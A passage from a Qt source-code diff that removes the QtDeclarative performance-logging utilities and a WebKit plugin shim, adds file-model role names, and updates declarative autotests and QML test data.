Q_DECLARE_PERFORMANCE_METRIC(QDeclarativePathViewPathCache) - Q_DECLARE_PERFORMANCE_METRIC(CreateParticle) - Q_DECLARE_PERFORMANCE_METRIC(ItemComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(ImageComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(BaseLayoutComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(TextComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativeText_setText) - Q_DECLARE_PERFORMANCE_METRIC(AddScript) -} - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QFXPERF_H diff --git a/src/declarative/util/qperformancelog.cpp b/src/declarative/util/qperformancelog.cpp deleted file mode 100644 index 83cc919..0000000 --- a/src/declarative/util/qperformancelog.cpp +++ /dev/null @@ -1,181 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qperformancelog_p_p.h" - -#include <QHash> -#include <QDebug> - -QT_BEGIN_NAMESPACE - -#ifdef Q_ENABLE_PERFORMANCE_LOG - -struct QPerformanceLogData -{ - struct Log - { - Log() - : logDescription(0), maxId(-1) {} - - QHash<int, const char *> descriptions; - const char *logDescription; - int maxId; - }; - - typedef QHash<QPerformanceLog::LogData *, Log> Logs; - Logs logs; -}; -Q_GLOBAL_STATIC(QPerformanceLogData, performanceLogData); - -QPerformanceLog::LogData::LogData(const char *desc) -: sumTime(0), data(0) -{ - QPerformanceLogData *logData = performanceLogData(); - - QPerformanceLogData::Log log; - log.logDescription = desc; - logData->logs.insert(this, log); - - timer.start(); -} - -QPerformanceLog::LogMetric::LogMetric(LogData *l, int id, const char *desc) -{ - if (id < 0) - qFatal("QPerformanceLog: Invalid log id %d ('%s')", id, desc); - - QPerformanceLogData *logData = performanceLogData(); - - QPerformanceLogData::Logs::Iterator logIter = logData->logs.find(l); - if (logIter == logData->logs.end()) - qFatal("QPerformanceLog: Unable to locate log for metric '%s'", desc); - QPerformanceLogData::Log &log = *logIter; - if (log.descriptions.contains(id)) - qFatal("QPerformanceLog: Duplicate log metric %d ('%s')", id, desc); - log.descriptions.insert(id, desc); - - if (log.maxId < id) { - log.maxId = id; - if (l->data) delete [] l->data; - l->data = new unsigned int[2 * (log.maxId + 1)]; - ::memset(l->data, 0, 2 * (log.maxId + 1) * sizeof(unsigned int)); - } -} - -static void QPerformanceLog_clear(QPerformanceLog::LogData *l, const QPerformanceLogData::Log *pl) -{ - ::memset(l->data, 0, 2 * (pl->maxId + 1) * sizeof(unsigned int)); -} - -static void QPerformanceLog_displayData(const QPerformanceLog::LogData *l, const QPerformanceLogData::Log *pl) -{ - qWarning() << pl->logDescription << "performance data"; - unsigned int total = 0; - for (QHash<int, const char *>::ConstIterator iter = pl->descriptions.begin(); - iter != pl->descriptions.end(); - ++iter) { - - int id = iter.key(); - unsigned int ms = l->data[id * 2]; - total += ms; - unsigned int inst = l->data[id * 2 + 1]; - float pi = float(ms) / float(inst); - qWarning().nospace() << " " << *iter << ": " << ms << " ms over " - << inst << " instances (" << pi << " ms/instance)"; - } - qWarning().nospace() << " TOTAL: " << total; -} - -void QPerformanceLog::displayData() -{ - QPerformanceLogData *logData = performanceLogData(); - - for (QPerformanceLogData::Logs::ConstIterator iter = logData->logs.begin(); - iter != logData->logs.end(); - ++iter) { - QPerformanceLog_displayData(iter.key(), &(*iter)); - } -} - -void QPerformanceLog::clear() -{ - QPerformanceLogData *logData = performanceLogData(); - - for (QPerformanceLogData::Logs::ConstIterator iter = logData->logs.begin(); - iter != logData->logs.end(); - ++iter) { - QPerformanceLog_clear(iter.key(), &(*iter)); - } -} - -void QPerformanceLog::displayData(LogData *l) -{ - QPerformanceLogData *logData = performanceLogData(); - QPerformanceLogData::Logs::ConstIterator iter = logData->logs.find(l); - if (iter == logData->logs.end()) - qFatal("QPerformanceLog: Internal corruption - unable to locate log"); - - QPerformanceLog_displayData(iter.key(), &(*iter)); -} - -void QPerformanceLog::clear(LogData *l) -{ - QPerformanceLogData *logData = performanceLogData(); - QPerformanceLogData::Logs::ConstIterator iter = logData->logs.find(l); - if (iter == logData->logs.end()) - qFatal("QPerformanceLog: Internal corruption - unable to locate log"); - - QPerformanceLog_clear(iter.key(), &(*iter)); -} - -#else // Q_ENABLE_PERFORMANCE_LOG - -void QPerformanceLog::displayData() -{ -} - -void QPerformanceLog::clear() -{ -} - -#endif // Q_ENABLE_PERFORMANCE_LOG - -QT_END_NAMESPACE diff --git a/src/declarative/util/qperformancelog_p_p.h b/src/declarative/util/qperformancelog_p_p.h deleted file mode 100644 index a212f28..0000000 --- a/src/declarative/util/qperformancelog_p_p.h +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QPERFORMANCELOG_H -#define QPERFORMANCELOG_H - -#include <QtCore/qdatetime.h> - -QT_BEGIN_NAMESPACE - -namespace QPerformanceLog -{ - Q_DECLARATIVE_EXPORT void displayData(); - Q_DECLARATIVE_EXPORT void clear(); - -#ifdef Q_ENABLE_PERFORMANCE_LOG - struct LogData { - LogData(const char *); - QTime timer; - int sumTime; - unsigned int *data; - }; - - struct LogMetric { - LogMetric(LogData *, int, const char *); - }; - - // Internal - void displayData(LogData *); - void clear(LogData *); -#endif -} - -#ifdef Q_ENABLE_PERFORMANCE_LOG - -#define Q_DECLARE_PERFORMANCE_METRIC(name) \ - enum { name = ValueChoice<0, ValueTracker<0, __LINE__>::value, __LINE__>::value }; \ - template<int L> \ - struct ValueTracker<name, L> \ - { \ - enum { value = name }; \ - }; \ - extern QPerformanceLog::LogMetric metric ## name; - -#define Q_DECLARE_PERFORMANCE_LOG(name) \ - namespace name { \ - extern QPerformanceLog::LogData log; \ - inline void displayData() { QPerformanceLog::displayData(&log); } \ - inline void clear() { QPerformanceLog::clear(&log); } \ - } \ - template<int N> \ - class name ## Timer { \ - public: \ - name ## Timer() { \ - lastSum = name::log.sumTime + name::log.timer.restart(); \ - name::log.sumTime = 0; \ - } \ - ~ name ## Timer() { \ - name::log.data[2 * N] += name::log.sumTime + name::log.timer.restart(); \ - ++name::log.data[2 * N + 1]; \ - name::log.sumTime = lastSum; \ - } \ - private: \ - int lastSum; \ - }; \ - namespace name { \ - template<int N, int L> \ - struct ValueTracker \ - { \ - enum { value = -1 }; \ - }; \ - template<int DefNextValue, int NextValue, int L> \ - struct ValueChoice \ - { \ - enum { value = ValueChoice<DefNextValue + 1, ValueTracker<DefNextValue + 1, L>::value, L>::value }; \ - }; \ - template<int DefNextValue, int L> \ - struct ValueChoice<DefNextValue, -1, L> \ - { \ - enum { value = DefNextValue }; \ - }; \ - } \ - namespace name - -#define Q_DEFINE_PERFORMANCE_LOG(name, desc) \ - QPerformanceLog::LogData name::log(desc); \ - namespace name - -#define Q_DEFINE_PERFORMANCE_METRIC(name, desc) \ - QPerformanceLog::LogMetric metrix ## name(&log, name, desc); - -#else // Q_ENABLE_PERFORMANCE_LOG - -#define Q_DECLARE_PERFORMANCE_METRIC(name) -#define Q_DECLARE_PERFORMANCE_LOG(name) namespace name -#define Q_DEFINE_PERFORMANCE_LOG(name, desc) namespace name -#define Q_DEFINE_PERFORMANCE_METRIC(name, desc) - -#endif // Q_ENABLE_PERFORMANCE_LOG - -QT_END_NAMESPACE - -#endif // QPERFORMANCELOG_H diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index f455870..f537806 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -3,8 +3,6 @@ INCLUDEPATH += $$PWD SOURCES += \ $$PWD/qdeclarativeutilmodule.cpp\ $$PWD/qdeclarativeview.cpp \ - $$PWD/qfxperf.cpp \ - $$PWD/qperformancelog.cpp \ $$PWD/qdeclarativeconnections.cpp \ $$PWD/qdeclarativepackage.cpp \ $$PWD/qdeclarativeanimation.cpp \ @@ -33,8 +31,6 @@ SOURCES += \ HEADERS += \ $$PWD/qdeclarativeutilmodule_p.h\ $$PWD/qdeclarativeview.h \ - $$PWD/qfxperf_p_p.h \ - $$PWD/qperformancelog_p_p.h \ $$PWD/qdeclarativeconnections_p.h \ $$PWD/qdeclarativepackage_p.h \ $$PWD/qdeclarativeanimation_p.h \ diff --git a/src/gui/dialogs/qfilesystemmodel.cpp b/src/gui/dialogs/qfilesystemmodel.cpp index ba0a560..2f1933c 100644 --- a/src/gui/dialogs/qfilesystemmodel.cpp +++ b/src/gui/dialogs/qfilesystemmodel.cpp @@ -1896,6 +1896,13 @@ void QFileSystemModelPrivate::init() q->connect(&fileInfoGatherer, SIGNAL(directoryLoaded(QString)), q, SIGNAL(directoryLoaded(QString))); q->connect(&delayedSortTimer, SIGNAL(timeout()), q, SLOT(_q_performDelayedSort()), Qt::QueuedConnection); + + QHash<int, QByteArray> roles = q->roleNames(); + roles.insertMulti(QFileSystemModel::FileIconRole, "fileIcon"); // == Qt::decoration + roles.insert(QFileSystemModel::FilePathRole, "filePath"); + roles.insert(QFileSystemModel::FileNameRole, "fileName"); + roles.insert(QFileSystemModel::FilePermissions, "filePermissions"); + q->setRoleNames(roles); } /*! diff --git a/src/gui/itemviews/qdirmodel.cpp b/src/gui/itemviews/qdirmodel.cpp index 378a238..48599bc 100644 --- a/src/gui/itemviews/qdirmodel.cpp +++ b/src/gui/itemviews/qdirmodel.cpp @@ -1182,12 +1182,18 @@ QFileInfo QDirModel::fileInfo(const QModelIndex &index) const void QDirModelPrivate::init() { + Q_Q(QDirModel); filters = QDir::AllEntries | QDir::NoDotAndDotDot; sort = QDir::Name; nameFilters << QLatin1String("*"); root.parent = 0; root.info = QFileInfo(); clear(&root); + QHash<int, QByteArray> roles = q->roleNames(); + roles.insertMulti(QDirModel::FileIconRole, "fileIcon"); // == Qt::decoration + roles.insert(QDirModel::FilePathRole, "filePath"); + roles.insert(QDirModel::FileNameRole, "fileName"); + q->setRoleNames(roles); } QDirModelPrivate::QDirNode *QDirModelPrivate::node(int row, QDirNode *parent) const diff --git a/src/imports/particles/qdeclarativeparticles.cpp b/src/imports/particles/qdeclarativeparticles.cpp index bb6669a..83be59b 100644 --- a/src/imports/particles/qdeclarativeparticles.cpp +++ b/src/imports/particles/qdeclarativeparticles.cpp @@ -44,7 +44,6 @@ #include <private/qdeclarativeitem_p.h> #include <private/qdeclarativepixmapcache_p.h> -#include <private/qfxperf_p_p.h> #include <QtCore/QAbstractAnimation> #include <QPainter> @@ -567,9 +566,6 @@ void QDeclarativeParticlesPrivate::tick(int time) void QDeclarativeParticlesPrivate::createParticle(int time) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::CreateParticle> x; -#endif Q_Q(QDeclarativeParticles); QDeclarativeParticle p(time); p.x = q->x() + q->width() * qreal(qrand()) / RAND_MAX - image.width()/2.0; diff --git a/src/imports/particles/qdeclarativeparticles_p.h b/src/imports/particles/qdeclarativeparticles_p.h index 993796d..9035e3e 100644 --- a/src/imports/particles/qdeclarativeparticles_p.h +++ b/src/imports/particles/qdeclarativeparticles_p.h @@ -111,7 +111,7 @@ class QDeclarativeParticleMotionWander : public QDeclarativeParticleMotion Q_OBJECT public: QDeclarativeParticleMotionWander() - : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0) {} + : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0), _pace(100) {} virtual void advance(QDeclarativeParticle &, int interval); virtual void created(QDeclarativeParticle &); diff --git a/src/imports/webkit/qdeclarativewebview.cpp b/src/imports/webkit/qdeclarativewebview.cpp index f8b2b88..0b85ae4 100644 --- a/src/imports/webkit/qdeclarativewebview.cpp +++ b/src/imports/webkit/qdeclarativewebview.cpp @@ -1239,96 +1239,11 @@ bool QDeclarativeWebPage::javaScriptPrompt(QWebFrame *originatingFrame, const QS } -/* - Qt WebKit does not understand non-QWidget plugins, so dummy widgets - are created, parented to a single dummy tool window. - - The requirements for QML object plugins are input to the Qt WebKit - non-QWidget plugin support, which will obsolete this kludge. -*/ -class QWidget_Dummy_Plugin : public QWidget -{ - Q_OBJECT -public: - static QWidget *dummy_shared_parent() - { - static QWidget *dsp = 0; - if (!dsp) { - dsp = new QWidget(0,Qt::Tool); - dsp->setGeometry(-10000,-10000,0,0); - dsp->show(); - } - return dsp; - } - QWidget_Dummy_Plugin(const QUrl& url, QDeclarativeWebView *view, const QStringList ¶mNames, const QStringList ¶mValues) : - QWidget(dummy_shared_parent()), - propertyNames(paramNames), - propertyValues(paramValues), - webview(view) - { - QDeclarativeEngine *engine = qmlEngine(webview); - component = new QDeclarativeComponent(engine, url, this); - item = 0; - if (component->isLoading()) - connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(qmlLoaded())); - else - qmlLoaded(); - } - -public Q_SLOTS: - void qmlLoaded() - { - if (component->isError()) { - // ### Could instead give these errors to the WebView to handle. - qWarning() << component->errors(); - return; - } - item = qobject_cast<QDeclarativeItem*>(component->create(qmlContext(webview))); - item->setParent(webview); - QString jsObjName; - for (int i=0; i<propertyNames.count(); ++i) { - if (propertyNames[i] != QLatin1String("type") && propertyNames[i] != QLatin1String("data")) { - item->setProperty(propertyNames[i].toUtf8(),propertyValues[i]); - if (propertyNames[i] == QLatin1String("objectname")) - jsObjName = propertyValues[i]; - } - } - if (!jsObjName.isNull()) { - QWebFrame *f = webview->page()->mainFrame(); - f->addToJavaScriptWindowObject(jsObjName, item); - } - resizeEvent(0); - delete component; - component = 0; - } - void resizeEvent(QResizeEvent*) - { - if (item) { - item->setX(x()); - item->setY(y()); - item->setWidth(width()); - item->setHeight(height()); - } - } - -private: - QDeclarativeComponent *component; - QDeclarativeItem *item; - QStringList propertyNames, propertyValues; - QDeclarativeWebView *webview; -}; - QDeclarativeWebView *QDeclarativeWebPage::viewItem() { return static_cast<QDeclarativeWebView*>(parent()); } -QObject *QDeclarativeWebPage::createPlugin(const QString &, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues) -{ - QUrl comp = qmlContext(viewItem())->resolvedUrl(url); - return new QWidget_Dummy_Plugin(comp,viewItem(),paramNames,paramValues); -} - QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) { QDeclarativeWebView *newView = viewItem()->createWindow(type); @@ -1338,5 +1253,3 @@ QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) } QT_END_NAMESPACE - -#include <qdeclarativewebview.moc> diff --git a/src/imports/webkit/qdeclarativewebview_p.h b/src/imports/webkit/qdeclarativewebview_p.h index 36b18a6..81581d8 100644 --- a/src/imports/webkit/qdeclarativewebview_p.h +++ b/src/imports/webkit/qdeclarativewebview_p.h @@ -69,7 +69,6 @@ public: explicit QDeclarativeWebPage(QDeclarativeWebView *parent); ~QDeclarativeWebPage(); protected: - QObject *createPlugin(const QString &classid, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues); QWebPage *createWindow(WebWindowType type); void javaScriptConsoleMessage(const QString& message, int lineNumber, const QString& sourceID); QString chooseFile(QWebFrame *originatingFrame, const QString& oldFile); diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp index 076afea..bce7166 100644 --- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp +++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp @@ -180,7 +180,7 @@ void tst_qdeclarativeanimations::simpleRotation() QVERIFY(animation.target() == &rect); QVERIFY(animation.property() == "rotation"); QVERIFY(animation.to() == 270); - QVERIFY(animation.direction() == QDeclarativeRotationAnimation::Shortest); + QVERIFY(animation.direction() == QDeclarativeRotationAnimation::Numerical); animation.start(); QVERIFY(animation.isRunning()); QTest::qWait(animation.duration()); @@ -193,7 +193,7 @@ void tst_qdeclarativeanimations::simpleRotation() QVERIFY(animation.isPaused()); animation.setCurrentTime(125); QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.rotation(), qreal(-45)); + QCOMPARE(rect.rotation(), qreal(135)); } void tst_qdeclarativeanimations::alwaysRunToEnd() diff --git a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp index 826df4f..483d588 100644 --- a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp +++ b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp @@ -79,7 +79,7 @@ void tst_qdeclarativebinding::binding() QDeclarativeBind *binding = qobject_cast<QDeclarativeBind*>(rect->findChild<QDeclarativeBind*>("binding1")); QVERIFY(binding != 0); - QCOMPARE(binding->object(), rect); + QCOMPARE(binding->object(), qobject_cast<QObject*>(rect)); QCOMPARE(binding->property(), QLatin1String("text")); QCOMPARE(binding->value().toString(), QLatin1String("Hello")); diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp index 0c3ca76..d0eb90e 100644 --- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp +++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp @@ -153,7 +153,7 @@ QDeclarativeDebugPropertyReference tst_QDeclarativeDebug::findProperty(const QLi void tst_QDeclarativeDebug::waitForQuery(QDeclarativeDebugQuery *query) { QVERIFY(query); - QCOMPARE(query->parent(), this); + QCOMPARE(query->parent(), qobject_cast<QObject*>(this)); QVERIFY(query->state() == QDeclarativeDebugQuery::Waiting); if (!QDeclarativeDebugTest::waitForSignal(query, SIGNAL(stateChanged(QDeclarativeDebugQuery::State)))) QFAIL("query timed out"); diff --git a/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml index 2d1a4a3..2d1a4a3 100644 --- a/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml +++ b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml index 2d1a4a3..2d1a4a3 100644 --- a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml +++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir new file mode 100644 index 0000000..5bdd17b --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir @@ -0,0 +1 @@ +Foo Foo.qml diff --git a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp index 6cd0bdb..adea384 100644 --- a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp +++ b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp @@ -340,9 +340,8 @@ void tst_qdeclarativedom::loadImports() "Item {}"; QDeclarativeEngine engine; - engine.addImportPath(SRCDIR "/data"); QDeclarativeDomDocument document; - QVERIFY(document.load(&engine, qml)); + QVERIFY(document.load(&engine, qml, QUrl::fromLocalFile(SRCDIR "/data/dummy.qml"))); QCOMPARE(document.imports().size(), 5); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml index ed5e571..2fef03a 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml @@ -18,4 +18,10 @@ MyQmlObject{ { obj.objectProperty = createQmlObject('TypeForDynamicCreation{}', obj); } + + function dontCrash() + { + var component = createComponent('file-doesnt-exist.qml'); + obj.objectProperty = component.createObject(); + } } diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index caefdbf..87d73a0 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -130,6 +130,7 @@ private slots: void qlistqobjectMethods(); void bug1(); + void dynamicCreationCrash(); void callQtInvokables(); private: @@ -1227,6 +1228,19 @@ void tst_qdeclarativeecmascript::bug1() delete object; } +// Don't crash in createObject when the component has errors. +void tst_qdeclarativeecmascript::dynamicCreationCrash() +{ + QDeclarativeComponent component(&engine, TEST_FILE("dynamicCreation.qml")); + MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create()); + QVERIFY(object != 0); + + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready"); + QMetaObject::invokeMethod(object, "dontCrash"); + QObject *created = object->objectProperty(); + QVERIFY(created == 0); +} + void tst_qdeclarativeecmascript::callQtInvokables() { MyInvokableObject o; diff --git a/tests/auto/declarative/qdeclarativeflipable/data/crash.qml b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml new file mode 100644 index 0000000..ad40bf0 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml @@ -0,0 +1,9 @@ +import Qt 4.6 + +Flipable { + transform: Rotation { + axis.y: 1 + axis.z: 0 + angle: 180 + } +} diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp index ed37c43..4beee9a 100644 --- a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp +++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp @@ -41,6 +41,7 @@ #include <qtest.h> #include <QtDeclarative/qdeclarativeengine.h> #include <QtDeclarative/qdeclarativecomponent.h> +#include <QtDeclarative/qdeclarativeview.h> #include <private/qdeclarativeflipable_p.h> #include <private/qdeclarativevaluetype_p.h> #include <QFontMetrics> @@ -58,6 +59,10 @@ private slots: void checkFrontAndBack(); void setFrontAndBack(); + // below here task issues + void QTBUG_9161_crash(); + void QTBUG_8474_qgv_abort(); + private: QDeclarativeEngine engine; }; @@ -108,6 +113,22 @@ void tst_qdeclarativeflipable::setFrontAndBack() delete obj; } +void tst_qdeclarativeflipable::QTBUG_9161_crash() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl(SRCDIR "/data/crash.qml")); + canvas->show(); + delete canvas; +} + +void tst_qdeclarativeflipable::QTBUG_8474_qgv_abort() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl(SRCDIR "/data/flipable-abort.qml")); + canvas->show(); + delete canvas; +} + QTEST_MAIN(tst_qdeclarativeflipable) #include "tst_qdeclarativeflipable.moc" diff --git a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml index 908b365..b272d58 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml @@ -8,13 +8,9 @@ Rectangle { Item { id : wrapper - Script { - function startupFunction() - { - if (index == 5) view.currentIndex = index; - - } - } + function startupFunction() { + if (index == 5) view.currentIndex = index; + } Component.onCompleted: startupFunction(); width: 30; height: 30 Text { text: index } diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp index 5f6d9a4..c747bfc 100644 --- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp +++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp @@ -507,8 +507,16 @@ void tst_qdeclarativeinstruction::dump() { QDeclarativeInstruction i; + i.line = 48; + i.type = QDeclarativeInstruction::StoreImportedScript; + i.storeScript.value = 2; + data->bytecode << i; + } + + { + QDeclarativeInstruction i; i.line = 50; - i.type = (QDeclarativeInstruction::Type)(QDeclarativeInstruction::Defer + 1); // Non-existant + i.type = (QDeclarativeInstruction::Type)(1234); // Non-existant data->bytecode << i; } @@ -564,7 +572,8 @@ void tst_qdeclarativeinstruction::dump() << "45\t\t47\tPOP_VALUE\t\t35\t8" << "46\t\t48\tDEFER\t\t\t7" << "47\t\tNA\tDEFER\t\t\t7" - << "48\t\t50\tXXX UNKOWN INSTRUCTION\t47" + << "48\t\t48\tSTORE_IMPORTED_SCRIPT\t2" + << "49\t\t50\tXXX UNKOWN INSTRUCTION\t1234" << "-------------------------------------------------------------------------------"; messages = QStringList(); diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml index 85d1052..930bf2c 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml @@ -1,6 +1,6 @@ import Test 1.0 import Qt 4.6 -PropertyChanges { +MyCustomParserType { propa: a + 10 propb: Math.min(a, 10) propc: MyPropertyValueSource {} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt index 0cf0ef3..364ca67 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt +++ b/tests/auto/declarative/qdeclarativelanguage/data/failingComponent.errors.txt @@ -1 +1 @@ -3:5:Type FailingComponent unavailable +3:5:FailingComponent is not a type diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt new file mode 100644 index 0000000..413f096 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt @@ -0,0 +1 @@ +1:1:module "Test" version 2.0 is not installed diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml new file mode 100644 index 0000000..c4a0d38 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml @@ -0,0 +1,3 @@ +import Test 2.0 + +MyTypeObject { } diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt new file mode 100644 index 0000000..1baf05c --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt @@ -0,0 +1 @@ +2:1:"will-not-be-found": no such directory diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml new file mode 100644 index 0000000..ec6aa2b --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml @@ -0,0 +1,5 @@ +// imports... +import "will-not-be-found" +import Qt 4.6 + +Rectangle { } diff --git a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt index 347db05..10e5fb2 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt +++ b/tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt @@ -1 +1 @@ -2:1:Type UnregisteredObjectType unavailable +2:1:UnregisteredObjectType is not a type diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml 